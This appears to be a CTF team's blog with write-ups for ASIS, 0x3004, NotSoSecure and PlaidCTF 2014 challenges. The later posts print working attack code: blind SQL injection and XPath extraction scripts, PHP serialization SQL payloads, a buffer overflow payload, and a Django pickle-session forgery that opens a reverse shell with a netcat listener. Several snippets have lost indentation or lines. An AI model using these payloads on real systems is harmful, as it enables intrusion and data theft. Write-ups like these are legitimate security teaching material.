A disturbing lack of taste. Just another WordPress site


ASIS CTF Quals 2014 – Hidden Flag Writeup

The task didn't provide us any link or file. So just picked up Live HTTP Headers and went throught the headers. There was an interesting one marked as x-flag: ASIS_b6b?244608c2?c2e869cb56?67b64?b1

Well, now we can see part of the flag but we miss 4 chars of it. So how to find them? Looking at the HTML source code of that page for the flag validation we can see an interesting sha256 hash which is "2b127c77074e44b6e74074b1eb8d32dfe27fe78e6a05e302baed68e2cc643ca1" that basically is the the flag sha256'd 2 times. Well that's good enough, now just code a bruteforcer that guess the 4 chars and see ,after apply sha256 algorithm 2 times, if it equals to  2b127c77074e44b6e74074b1eb8d32dfe27fe78e6a05e302baed68e2cc643ca1.

Flag: ASIS_b6be244608c27c2e869cb56167b649b1


Filed under: Uncategorized 2 Comments

ASIS2014: Stego 100 – Spy Paper

This challenge was a little bit tricky. It was a JPEG image in the DIN A4 format, containing the text "Top Secret" and "Forget about the previous mission,  Be there, at the time I've specified".

After a little bit searching, we found in the bottom right quarter a square with some tiny, almost invisible yellow points. Gimp's Desaturate tool and a zoom to 200% made the magic and we were actually able to see the "dot-matrix" in a good quality. Represented with 1 for a dot and 0 for not a dot, we have:


Okay, it's a binary 17x8 matrix. Quite naturally, our first attempt was it to parse it as ASCII code in whatever possible way. Indeed, the dot-matrix contains some text, when the matrix is read from top to bottom. The first bit has to be set to 0 hereby since ASCII uses only the lower 7 bits. Following this rules, we have:

 01101011 0x6B
 00001001 0x09 
 00000110 0x06 
 10010011 0x13 
 11111111 0x7F 
 10001101 0x0D 
 10010110 0x16    
 10101100 0x2C
 11111111 0x7F   
 11000101 'E'
 10110100 '4'
 11110011 's'
 11111001 'y'    
 01011111 '_'     
 00110000 '0'
 11101110 'n'
 00110011 '3'

So, we tried to submit "E4sy_0n3" but this was not the flag. So we went back to analysis and figured out that the first bit is actually a parity bit besides in the first line (0x6b) and the lines containing only out of 1s, which are clearly some kind of seperator. The seperators are splitting the matrix in three sections and we thought each section might have other rules for parsing - so we tried all imagable and all not imagable stuff - not successful.

Later on, we stumbled over this webpage: https://w2.eff.org/Privacy/printers/docucolor/ - well, jackpot! So, from our original matrix the first column and the first row could be ignored (what we already did for the latter case) and 0xFF works indeed as seperator. Then the specification says that the first part specifies the time and the second part specifies a date. So lets have again a look to our matrix, converting first and second part to a decimal representation:

0001001 9
0000110 6
0010011 19
1111111 0x7F
0001101 13
0010110 22
0101100 44
1111111 0x7F
1000101 'E'
0110100 '4'
1110011 's'
1111001 'y'
1011111 '_'
0110000 '0'
1101110 'n'
0110011 '3'

Okay, looks like 9/6/19 13:22:44 E4sy_0n3 - they didnt follow the exact format specification, but the result we had here looked okayish. We gave it a shot  and indeed, ASIS_MD5(9619132244E4sy_0n3) was the right flag. In retrospective, there was even the hint about the time in the paper and we should've thought about it earlier - I guess it was able to come up with the right solution even without the above linked "DocuColor Tracking Dot Decoding Guide".

-nsr, nurfed


Tagged as: 1 Comment

ASIS2014: Forensic 150 – Forensic

This challenge was rather simple.  Here we had a tcpdump capture file with a lot of different http-requests.  A few of them were directed to, including a GET request for "myfile".

After extracting the file it turned out that it is another pcap file with some too long packets - making it impossible to be opened by wireshark or tcpdump. Fortunately, there are existing tools to automatically fix capture files, we used the online version of pcapfix (http://f00l.de/hacking/pcapfix.php).

A few looks showed that there where a lot of communication with a printer going on, including tcp-streams transferring postscript files. So, easy going: we just extracted all postscript files from their tcp-streams and looked at them.  They all contained text created with figlet (http://www.figlet.org/). More specifically, the visible content of the printed file were:

  • 1.gs: 1234567890
  • 2.gs: Do you know about figlet? FIGlet is a program for making large letters out of ordinary text.
  • 3.gs: ASIS_54ca36b2e3e49fc30e566c1de0589f38

And yes, that's the flag!


Filed under: Uncategorized No Comments

ASIS2014: Forensics 175 – Prying Ears


This forensic task came in the form of a pcap-ng caputure file.

After analysing the traffic for some time we discovered a huge amount of DNS requests for subdomains with unusual names on asis.io. Obviously, some kind of DNS tunneling is going on here.

We tracked down the first suspicious DNS request which was for "89504e470d0a1a.asis.io" - the subdomain name is equal to the hex-presentation of the png magic number! Thus, it looks like the transmitted data are given in hex-representation as subdomain name.

So, we wrote a scapy script to extract the according byte and got a first png. Unfortunately, we werent able to open it. We used pngcheck (http://www.libpng.org/pub/png/apps/pngcheck.html) to check what kind of problems we have:

$ ./pngcheck -v -f a.png 
File: a.png (4466 bytes)
  chunk IHDR at offset 0x0000c, length 13
    266 x 13 image, 8-bit palette, non-interlaced
  chunk PLTE at offset 0x00025, length 105: 35 palette entries
  CRC error in chunk PLTE (computed c215dfd7, expected 10000000)
	invalid chunk name "?" (ffffff90 ffffffd4 06 02)
	chunk ? at offset 0x0009a, length 17:  illegal (unless recently approved) unknown, public chunk
  invalid chunk name "x?" (14 78 ffffff8f ffffffb0)
	chunk x? at offset 0x000b7, length 5206:  EOF while reading

Okay, that looks seriously broken. We went back to analysis and tried different stuff, for instance different kind of sorting the query bytes. After some time we figured out that the most requests are getting a response with '' as server address. On the other hand, a few responses had the flags for "no such name" set. We thought this could be the filter, modified our scapy script and ...

$ ./pngcheck -f -v a.png 
File: a.png (1358 bytes)
  chunk IHDR at offset 0x0000c, length 13
    266 x 13 image, 8-bit palette, non-interlaced
   chunk PLTE at offset 0x00025, length 105: 35 palette entries
   CRC error in chunk PLTE (computed bcb8fc04, expected 276cf28d)
   chunk tRNS at offset 0x0009a, length 34: 34 transparency
   chunk IDAT at offset 0x000c8, length 1138
      zlib: deflated, 32K window, fast compression
   chunk IEND at offset 0x00546, length 0

Woohoo. Only a CRC-Error left. We patched it by hand and were able to open the png file containing the flag. :)

$cat for_175.py
from scapy.all import *
import sys
p = rdpcap(sys.argv[1])
res = []
for i in range(len(p)):
  if not p[i].haslayer(DNS):
  if DNSQR in p[i]:
    if DNSRR in p[i] and p[i][DNSQR].qname:
      data = p[i][DNSQR].qname
      #if '.asis.io' in data: #Results in corrupted PNG 
      if '.asis.io' in data and p[i][DNSRR].rdata =='': 
        data = data[:-len('.asis.io.')].strip()
          res.append((p[i][DNSRR].time, data))
        except ValueError:

data = ''
for k, v in sorted(res):
  data += v
open(sys.argv[2], 'wb').write(data.decode('hex'))


-nsr & ccm

PS: There was even a DNS request for tasteless.se \o/

Tagged as: No Comments

0×3004 CTF – Pwn2, EZ, Calc, PATH_TO_PRO, “DOTO, BEST DOTO”, Pyjail 1 Writeup



output:  -f FILE, --file=FILE  READ FILE



we have a nice nodejs code exec here:


fs = require('fs');


flag: 0x3004{n0jsn0fun}


XPath injection here. sadly i found out then there was a really shorter and easy way to get the flag instead of mine:

import requests
for j in range(1,16):
for i in range(48,127):
if chr(i)=='&':
#query='http://challenges.wargame.vn/100-path-to-pro_548f20feaa3736e0c7320fc5e5b14a8c/index.php?name=admin" or substring(name(/all/f_ll_ag/*[1]),'+str(j)+',1)="'+chr(i)+'&pass=guest'
query='http://challenges.wargame.vn/100-path-to-pro_548f20feaa3736e0c7320fc5e5b14a8c/index.php?name=admin" or substring(/all/f_ll_ag/data/text(),'+str(j)+',1)="'+chr(i)+'&pass=guest'
if 'Maybe' in r.text:
print "OK "+chr(i)
print "Nope "+chr(i)
print pwd


easy programming challenge: http://pastebin.com/gvzb8Qxh


data = s.recv(1024)
data = s.recv(1024)
payload = "\n"
payload = "A"*8 + "\xb2\x06\x40\x00"
data = s.recv(1024)
s.send("cat /home/pwn2/flag\n")
data = s.recv(1024)
print data

Pyjail 1:

this challenge was solved by nurfed. Basically, the script cleared modules, deleted dir(), eval, etc.. but we can still access local variables throught vars():


flag: 0x3004{ez_Bre34k}



Filed under: Uncategorized No Comments

0×3004 CTF – Injection1, Injection2, pydis, The Heart Still Bleed Writeup


easy SQL injection throught php unserialization

$r["id"]="0 union select flag from web50_flag";
echo urlencode(base64_encode(serialize($r)))."\n";


another easy SQL injection throught unserialization but this time in INSERT query.


class WriteLog{
public $time = '';
public $password='guest';
public $id=1;
// Constructor
function __construct($time){
$this->time = $time;
// Destructor
function __destruct(){
$log =Array("password"=> new WriteLog("888',0),(null,(select flag from web100_flag ),'pvdttpn04vpos24k0klhcmdke5')-- -"),"id"=>1);

echo urlencode(base64_encode(serialize($log)))."\n";
//echo serialize($log)."\n";


in this challenge an output is provided. The output is obtained disassembling a "check_password" function. Rebuilding it was easy and fast then it comes the reversing one:

PASS_ENCODED=[12313,12304,12313,12294,12342,12351,12297,12318,12328,12338,12288,12313,12315,12313,12290,12335,12317,12334,12380,12407,12350]    tmp='{'
for i in range(0,len(PASS_ENCODED)):
for j in range(32,127):
if PASS_ENCODED[i]^12292==ord(tmp)^j:
print pwd

The Heart Still Bleed:

just loop on the host echoing to the stdin of the server "1024" which will lead you after a while to the flag:

while true;do perl -e 'print "1024\n"' | nc 3333 ; done


Filed under: Uncategorized No Comments

NotSoSecure CTF 2014 – Writeups

The first flag was about SQL column truncation vulnerability. So after finding registration page just enter something like this:

http://ctf.notsosecure.com/9128938921839838/register.php?regname=admin%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20x%26regemail%[email protected]%26regpass1%3Dasd123%26regpass2%3Dasd123

for overwrite the admin password and then just login with admin:asd123 to get the first flag.

The second flag was about BSQLi in HTTP header 'Refer' but for trigger it you'll have to URL encode it. Script I used to extract the second flag:

import json,requests
url = 'http://ctf.notsosecure.com/9128938921839838/f33db4ck_flag/submit.php'
payload = {'some': 'data'}
# table: flag
# clmn flag
#flag: 1362390
for j in xrange(1,8):
for i in xrange(33,122):
#headers = {'Referer': 'ad%27),((select if((select ascii(substr(table_name,'+str(j)+',1)) from information_schema.tables where table_schema=database() limit 0,1)='+str(i)+',1,2*(select 1 union select 2))),0)%23'}
#headers = {'Referer': 'ad%27),((select if((select column_name from information_schema.columns where table_name=0x666c6167 limit 0,1)=0x666c6167,1,2*(select 1 union select 2))),0)%23'}
headers = {'Referer': 'ad%27),((select if((select ascii(substr(flag,'+str(j)+',1)) from flag limit 0,1)='+str(i)+',1,2*(select 1 union select 2))),0)%23'}
r = requests.post(url, data=json.dumps(payload), headers=headers)
if 'touch' in r.text:
print "OK:"+chr(i)
print "Nope:"+str(i)

print pwd


Filed under: Uncategorized 1 Comment

PlaidCTF 2014 – ezhp Writeup

In this challenge a binary was given. Basically it was note manager where you can add,change,remove or print notes. It has its own heap allocator that manages the allocation and freeing of variables. What is interesting is the how it frees the spaces:

int __cdecl sub_8048708(int a1)
int result; // eax@8
int v2; // [sp+4h] [bp-Ch]@2
int v3; // [sp+8h] [bp-8h]@2
int v4; // [sp+Ch] [bp-4h]@2

if ( a1 )
v2 = a1 - 12;
v3 = *(_DWORD *)(a1 - 12 + 8);
v4 = *(_DWORD *)(a1 - 12 + 4);
if ( v3 )
*(_DWORD *)(v3 + 4) = v4;
if ( v4 )
*(_DWORD *)(v4 + 8) = v3;
*(_DWORD *)(v2 + 4) = *(_DWORD *)(dword_804B060 + 4);
if ( *(_DWORD *)(dword_804B060 + 4) )
*(_DWORD *)(*(_DWORD *)(dword_804B060 + 4) + 8) = v2;
*(_DWORD *)(dword_804B060 + 4) = v2;
result = a1 - 12;
*(_DWORD *)v2 &= 0xFFFFFFFEu;
return result;

Here we can clearly see an arbitrary write to memory using v3 and v4 (prev, next). Having this knowledge we can now overwrite an address in GOT table like the exit() and then trigger it by submitting an invalid option.

Here is the code:


Flag: shitty_heap_allocators_are_shitty


Filed under: Uncategorized No Comments

PlaidCTF 2014 – WhatsCat Writeup

In this challenge a webpage with some cats is provided. There is a login form along with a register and forgot password one. Auditing the source code we can see that on line 76-77 of login file in the forgot part:

      mysql_query(sprintf("update users set password='%s', resetinfo='%s' where username='%s'",

there is an sql injection. The vulnerability is produced by $res->username. If we scroll up some lines we can see that it is taken from this query:

    $q = mysql_query(sprintf("select username,email,id from users where username='%s'",

where 'username' in the select statemant can contains " ' ". Why it can contains it? Because at the moment of the insertion of it:

      $q = mysql_query(sprintf("insert into users (username,password,email) values
('%s', '%s', '%s')",mysql_real_escape_string($_POST["name"]),

the username is escaped so at the end the username field in the database may contains " ' ".

So we have an sql injection to exploit but since it is in an update query we'll have to go blind. For do so we're gonna register a username like this: myuser:mypassword

Then we're gonna register a username like this:

myuser' and (select if((select substr(flag,1,1) from flag)='a',1,2*(select 1 union select 2)))#

and password whatever you want.

Now we're gonna submit the same username on forgot form. The update query I pasted before will be something like this:

update users set password=whatever, resetinfo=junk where username='myuser' and (select if((select substr(flag,1,1) from flag)='a',1,2*(select 1 union select 2)))#'

So for see if the first character of the flag is 'a' or not we just have to see if myuser's password has been changed or not. If it is changed it means that the first character of the flag is 'a' else it isn't.

Below there is an automated code:




Filed under: Uncategorized No Comments

PlaidCTF 2014 – reeekeeeeee Writeup

In this task a web application is given. Also sources are given. The website is built using python language + django framework. In views.py file in makememe() function we can see that on line 82:

image = urllib2.urlopen(url)

we have an unfiltered input is given as parameter of urlopen(). Since we control the 'url' variable we can submit something like: file://path/to/the/file/i/want/to/read#http:// to read any file in the file system (the hash at the end is to pass the if check done on line 81). So after log in submit as weburl of the meme this to read the settings.py :


Now, we can see an interesting thing:


This variable is used by django to build the sessionid that has been treated with pickle. So if we manage to forge a custom sessionid using that key we could have RCE exploiting the known feature of pickle.

So lets begin downloading a tool that will forge us the cookie:


edit in backconn.py like this:

host = '' # the server where shell will be spawned
port = 0 # the port on the server where the victim will connects to

the in exploit.py file:

comment line 41 and add : "print s"
uncomment line: send_django(SECRET_KEY, ADD, p)

Ok now run it:

root@kaiman:/home/nms/pwp-master$ python exploit.py 'kgsu8jv!(bew#wm!eb3rb=7gy6=&5ew*jv)j-6-(50$f%no98-'
Sending payload, check you listenner

This is our forged session id that we're gonna replace on the original one but before do that

be sure to run netcat for listening on the specified port you put in backconn.py file.

If all goes fine just go on the spawned shell and take it:

$ ls
give_me_the_flag.exe  mymeme  use_exe_to_read_me.txt
$ ls -al
ls -al
total 44
drwxr-xr-x 3 reekeeplus reekeeplus 4096 Apr  9 03:15 .
drwxr-xr-x 5 root       root       4096 Apr  9 01:58 ..
---------- 1 admin      admin       766 Apr 12 14:55 .bash_history
-rw-r--r-- 1 reekee     reekee      220 Apr  9 01:13 .bash_logout
-rw-r--r-- 1 reekee     reekee     3392 Apr  9 01:13 .bashrc
-rwsr-sr-x 1 reekeeplus reekeeplus 7564 Apr  9 02:03 give_me_the_flag.exe
drwxr-xr-x 4 reekee     reekee     4096 Apr 12 18:01 mymeme
-rw-r--r-- 1 reekee     reekee      675 Apr  9 01:13 .profile
-r-------- 1 reekeeplus reekeeplus   42 Apr  9 02:03 use_exe_to_read_me.txt
-rw------- 1 reekee     reekee      601 Apr  9 03:15 .viminfo
$ ./give_me_the_flag.exe
flag: why_did_they_make_me_write_web_apps
write: Success
If you want to know more about this bug visit: http://vudang.com/2013/01/python-web-framework-from-lfr-to-rce/


Filed under: Uncategorized No Comments